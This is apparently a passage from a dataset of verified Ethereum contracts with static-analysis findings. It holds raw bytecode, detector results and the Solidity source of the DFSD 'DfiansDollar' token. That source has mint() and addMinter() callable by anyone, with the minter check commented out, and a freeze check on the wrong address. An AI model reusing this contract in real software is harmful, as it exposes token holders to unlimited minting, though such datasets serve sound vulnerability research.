b5050509392505050565b600081359050612e72816140d6565b92915050565b600082601f830112612e8957600080fd5b8151612e99848260208601612df7565b91505092915050565b600081519050612eb1816140ed565b92915050565b600081359050612ec681614104565b92915050565b600081359050612edb8161411b565b92915050565b600081519050612ef08161411b565b92915050565b600081359050612f0581614132565b92915050565b600081359050612f1a81614149565b92915050565b600060208284031215612f3257600080fd5b6000612f4084828501612e63565b91505092915050565b60008060408385031215612f5c57600080fd5b6000612f6a85828601612e63565b9250506020612f7b85828601612e63565b9150509250929050565b600080600060608486031215612f9a57600080fd5b6000612fa886828701612e63565b9350506020612fb986828701612e63565b9250506040612fca86828701612ecc565b9150509250925092565b60008060408385031215612fe757600080fd5b6000612ff585828601612e63565b925050602061300685828601612ecc565b9150509250929050565b60008060008060008060c0878903121561302957600080fd5b600061303789828a01612e63565b965050602061304889828a01612ecc565b955050604061305989828a01612ecc565b945050606061306a89828a01612f0b565b935050608061307b89828a01612eb7565b92505060a061308c89828a01612eb7565b9150509295509295509295565b600080604083850312156130ac57600080fd5b60006130ba85828601612e63565b92505060206130cb85828601612ef6565b9150509250929050565b6000602082840312156130e757600080fd5b600082015167ffffffffffffffff81111561310157600080fd5b61310d84828501612e78565b91505092915050565b60006020828403121561312857600080fd5b600061313684828501612ea2565b91505092915050565b60006020828403121561315157600080fd5b600061315f84828501612ecc565b91505092915050565b60006020828403121561317a57600080fd5b600061318884828501612ee1565b91505092915050565b600061319d83836131a9565b60208301905092915050565b6131b281613bbf565b82525050565b6131c181613bbf565b82525050565b60006131d282613945565b6131dc8185613968565b93506131e783613935565b8060005b838110156132185781516131ff8882613191565b975061320a8361395b565b9250506001810190506131eb565b5085935050505092915050565b61322e81613bd1565b82525050565b61323d81613bdd565b82525050565b61325461324f82613bdd565b613d3b565b82525050565b61326381613c46565b82525050565b61327281613c6a565b82525050565b600061328382613950565b61328d8185613979565b935061329d818560208601613c8e565b6132a681613dd2565b840191505092915050565b60006132be602283613979565b91506132c982613de3565b604082019050919050565b60006132e1602683613979565b91506132ec82613e32565b604082019050919050565b6000613304602683613979565b915061330f82613e81565b604082019050919050565b600061332760028361398a565b915061333282613ed0565b600282019050919050565b600061334a602783613979565b915061335582613ef9565b604082019050919050565b600061336d602283613979565b915061337882613f48565b604082019050919050565b6000613390603a83613979565b915061339b82613f97565b604082019050919050565b60006133b3601f83613979565b91506133be82613fe6565b602082019050919050565b60006133d6603c83613979565b91506133e18261400f565b604082019050919050565b60006133f9602183613979565b91506134048261405e565b604082019050919050565b600061341c601f83613979565b9150613427826140ad565b602082019050919050565b61343b81613c07565b82525050565b61344a81613c11565b82525050565b61345981613c21565b82525050565b61346881613c7c565b82525050565b61347781613c2e565b82525050565b60006134888261331a565b91506134948285613243565b6020820191506134a48284613243565b6020820191508190509392505050565b60006020820190506134c960008301846131b8565b92915050565b60006060820190506134e460008301866131b8565b6134f160208301856131b8565b6134fe6040830184613432565b949350505050565b600060408201905061351b60008301856131b8565b6135286020830184613432565b9392505050565b60006020820190506135446000830184613225565b92915050565b600060208201905061355f6000830184613234565b92915050565b600060808201905061357a6000830187613234565b61358760208301866131b8565b6135946040830185613432565b6135a16060830184613432565b95945050505050565b60006080820190506135bf6000830187613234565b6135cc6020830186613234565b6135d96040830185613432565b6135e660608301846131b8565b95945050505050565b60006080820190506136046000830187613234565b6136116020830186613450565b61361e6040830185613234565b61362b6060830184613234565b95945050505050565b6000602082019050613649600083018461325a565b92915050565b600060208201905081810360008301526136698184613278565b905092915050565b6000602082019050818103600083015261368a816132b1565b9050919050565b600060208201905081810360008301526136aa816132d4565b9050919050565b600060208201905081810360008301526136ca816132f7565b9050919050565b600060208201905081810360008301526136ea8161333d565b9050919050565b6000602082019050818103600083015261370a81613360565b9050919050565b6000602082019050818103600083015261372a81613383565b9050919050565b6000602082019050818103600083015261374a816133a6565b9050919050565b6000602082019050818103600083015261376a816133c9565b9050919050565b6000602082019050818103600083015261378a816133ec565b9050919050565b600060208201905081810360008301526137aa8161340f565b9050919050565b60006020820190506137c66000830184613432565b92915050565b600060a0820190506137e16000830188613432565b6137ee6020830187613269565b818103604083015261380081866131c7565b905061380f60608301856131b8565b61381c6080830184613432565b9695505050505050565b600060208201905061383b6000830184613441565b92915050565b60006040820190506138566000830185613441565b613863602083018461346e565b9392505050565b600060208201905061387f6000830184613450565b92915050565b600060208201905061389a600083018461345f565b92915050565b60006020820190506138b5600083018461346e565b92915050565b60006040820190506138d0600083018561345f565b6138dd602083018461345f565b9392505050565b60006138ee6138ff565b90506138fa8282613cc1565b919050565b6000604051905090565b600067ffffffffffffffff82111561392457613923613da3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006139a082613c07565b91506139ab83613c07565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139e0576139df613d45565b5b828201905092915050565b60006139f682613c11565b9150613a0183613c11565b92508263ffffffff03821115613a1a57613a19613d45565b5b828201905092915050565b6000613a3082613c2e565b9150613a3b83613c2e565b9250826bffffffffffffffffffffffff03821115613a5c57613a5b613d45565b5b828201905092915050565b6000613a7282613c07565b9150613a7d83613c07565b925082613a8d57613a8c613d74565b5b828204905092915050565b6000613aa382613c11565b9150613aae83613c11565b925082613abe57613abd613d74565b5b828204905092915050565b6000613ad482613c07565b9150613adf83613c07565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b1857613b17613d45565b5b828202905092915050565b6000613b2e82613c07565b9150613b3983613c07565b925082821015613b4c57613b4b613d45565b5b828203905092915050565b6000613b6282613c11565b9150613b6d83613c11565b925082821015613b8057613b7f613d45565b5b828203905092915050565b6000613b9682613c2e565b9150613ba183613c2e565b925082821015613bb457613bb3613d45565b5b828203905092915050565b6000613bca82613be7565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000613c5182613c58565b9050919050565b6000613c6382613be7565b9050919050565b6000613c7582613c07565b9050919050565b6000613c8782613c2e565b9050919050565b60005b83811015613cac578082015181840152602081019050613c91565b83811115613cbb576000848401525b50505050565b613cca82613dd2565b810181811067ffffffffffffffff82111715613ce957613ce8613da3565b5b80604052505050565b6000613cfd82613c07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d3057613d2f613d45565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a20696e76616c69642073696760008201527f6e61747572650000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a207369676e6174757265206560008201527f7870697265640000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f436f6d703a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015250565b7f7472616e736665723a746f6f20736f6f6e206166746572206d696e74696e6700600082015250565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6140df81613bbf565b81146140ea57600080fd5b50565b6140f681613bd1565b811461410157600080fd5b50565b61410d81613bdd565b811461411857600080fd5b50565b61412481613c07565b811461412f57600080fd5b50565b61413b81613c11565b811461414657600080fd5b50565b61415281613c21565b811461415d57600080fd5b5056fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a2646970667358221220158ffbe380f6baef2174aef1b3e5e53f4705f75083f8966d20c9e069e876211664736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,670 |
0x4568432E5d906D93309c2Dd7a9F3D834FC3f5151
|
/**
*Submitted for verification at Etherscan.io on 2021-06-21
*/
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
//event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//ERC223
function transfer(address to, uint256 value, bytes data) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
mapping (address => bool) public frozenAccount;
event frozenFunds(address account, bool freeze);
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transfer(address to, uint256 value, bytes data) external returns (bool) {
require(transfer(to, value));
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly.
codeLength := extcodesize(to)
}
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, data);
}
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
require(!frozenAccount[msg.sender]);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
// uint256 private _maxSupply = 1000000000000000000000000001;
uint256 private _totalSupply;
// function maxSupply() public view returns (uint256) {
// return _maxSupply;
// }
function mint(address to, uint256 value) public returns (bool) {
// function mint(address to, uint256 value) public onlyMinter returns (bool) {
// require(_maxSupply > totalSupply().add(value));
_mint(to, value);
return true;
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract ERC20Frozen is ERC20 {
function freezeAccount (address target, bool freeze) onlyOwner public {
frozenAccount[target]=freeze;
emit frozenFunds(target, freeze);
}
}
contract DFSDToken is ERC20Mintable, ERC20Burnable, ERC20Pausable, ERC20Frozen {
string public constant name = "DfiansDollar";
string public constant symbol = "DFSD";
uint8 public constant decimals = 18;
// uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant INITIAL_SUPPLY = 6000000000 * (10 ** uint256(decimals));
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610190578063095ea7b31461022057806318160ddd1461028557806323b872dd146102b05780632ff2e9dc14610335578063313ce5671461036057806339509351146103915780633f4ba83a146103f657806340c10f191461040d57806342966c681461047257806346fbf68e1461049f5780635c975abb146104fa5780636ef8d66d1461052957806370a0823114610540578063715018a61461059757806379cc6790146105ae57806382dc1ec4146105fb5780638456cb591461063e5780638da5cb5b146106555780638f32d59b146106ac57806395d89b41146106db578063983b2d561461076b57806398650275146107ae578063a457c2d7146107c5578063a9059cbb1461082a578063aa271e1a1461088f578063b414d4b6146108ea578063be45fd6214610945578063dd62ed3e146109c2578063e724529c14610a39578063f2fde38b14610a88575b600080fd5b34801561019c57600080fd5b506101a5610acb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e55780820151818401526020810190506101ca565b50505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b04565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610b34565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b5061031b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3e565b604051808215151515815260200191505060405180910390f35b34801561034157600080fd5b5061034a610b70565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b50610375610b82565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039d57600080fd5b506103dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b87565b604051808215151515815260200191505060405180910390f35b34801561040257600080fd5b5061040b610bb7565b005b34801561041957600080fd5b50610458600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c66565b604051808215151515815260200191505060405180910390f35b34801561047e57600080fd5b5061049d60048036038101908080359060200190929190505050610c7c565b005b3480156104ab57600080fd5b506104e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c89565b604051808215151515815260200191505060405180910390f35b34801561050657600080fd5b5061050f610ca6565b604051808215151515815260200191505060405180910390f35b34801561053557600080fd5b5061053e610cbd565b005b34801561054c57600080fd5b50610581600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc8565b6040518082815260200191505060405180910390f35b3480156105a357600080fd5b506105ac610d11565b005b3480156105ba57600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de3565b005b34801561060757600080fd5b5061063c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df1565b005b34801561064a57600080fd5b50610653610e11565b005b34801561066157600080fd5b5061066a610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b857600080fd5b506106c1610eea565b604051808215151515815260200191505060405180910390f35b3480156106e757600080fd5b506106f0610f41565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610730578082015181840152602081019050610715565b50505050905090810190601f16801561075d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077757600080fd5b506107ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b005b3480156107ba57600080fd5b506107c3610f86565b005b3480156107d157600080fd5b50610810600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f91565b604051808215151515815260200191505060405180910390f35b34801561083657600080fd5b50610875600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc1565b604051808215151515815260200191505060405180910390f35b34801561089b57600080fd5b506108d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff1565b604051808215151515815260200191505060405180910390f35b3480156108f657600080fd5b5061092b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100e565b604051808215151515815260200191505060405180910390f35b34801561095157600080fd5b506109a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190820180359060200191909192939192939050505061102e565b604051808215151515815260200191505060405180910390f35b3480156109ce57600080fd5b50610a23600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611144565b6040518082815260200191505060405180910390f35b348015610a4557600080fd5b50610a86600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506111cb565b005b348015610a9457600080fd5b50610ac9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a8565b005b6040805190810160405280600c81526020017f446669616e73446f6c6c6172000000000000000000000000000000000000000081525081565b6000600860009054906101000a900460ff16151515610b2257600080fd5b610b2c83836112c7565b905092915050565b6000600454905090565b6000600860009054906101000a900460ff16151515610b5c57600080fd5b610b678484846113f4565b90509392505050565b601260ff16600a0a640165a0bc000281565b601281565b6000600860009054906101000a900460ff16151515610ba557600080fd5b610baf83836115a6565b905092915050565b610bc033610c89565b1515610bcb57600080fd5b600860009054906101000a900460ff161515610be657600080fd5b6000600860006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610c7283836117dd565b6001905092915050565b610c86338261191d565b50565b6000610c9f826007611aab90919063ffffffff16565b9050919050565b6000600860009054906101000a900460ff16905090565b610cc633611b3f565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d19610eea565b1515610d2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ded8282611b99565b5050565b610dfa33610c89565b1515610e0557600080fd5b610e0e81611d41565b50565b610e1a33610c89565b1515610e2557600080fd5b600860009054906101000a900460ff16151515610e4157600080fd5b6001600860006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6040805190810160405280600481526020017f444653440000000000000000000000000000000000000000000000000000000081525081565b610f8381611d9b565b50565b610f8f33611df5565b565b6000600860009054906101000a900460ff16151515610faf57600080fd5b610fb98383611e4f565b905092915050565b6000600860009054906101000a900460ff16151515610fdf57600080fd5b610fe98383612086565b905092915050565b6000611007826005611aab90919063ffffffff16565b9050919050565b60036020528060005260406000206000915054906101000a900460ff1681565b600080600061103d8787610fc1565b151561104857600080fd5b863b91506000821115611136578690508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a338888886040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437820191505095505050505050600060405180830381600087803b15801561111d57600080fd5b505af1158015611131573d6000803e3d6000fd5b505050505b600192505050949350505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111d3610eea565b15156111de57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f1dd2281a129078473925baa3845240122c71b28e7dacc2c8d7364b56973fe03c8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6112b0610eea565b15156112bb57600080fd5b6112c48161209d565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561130457600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561148157600080fd5b61151082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159b8484846121b8565b600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115e357600080fd5b61167282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561180357600080fd5b6118188160045461242f90919063ffffffff16565b60048190555061187081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561194357600080fd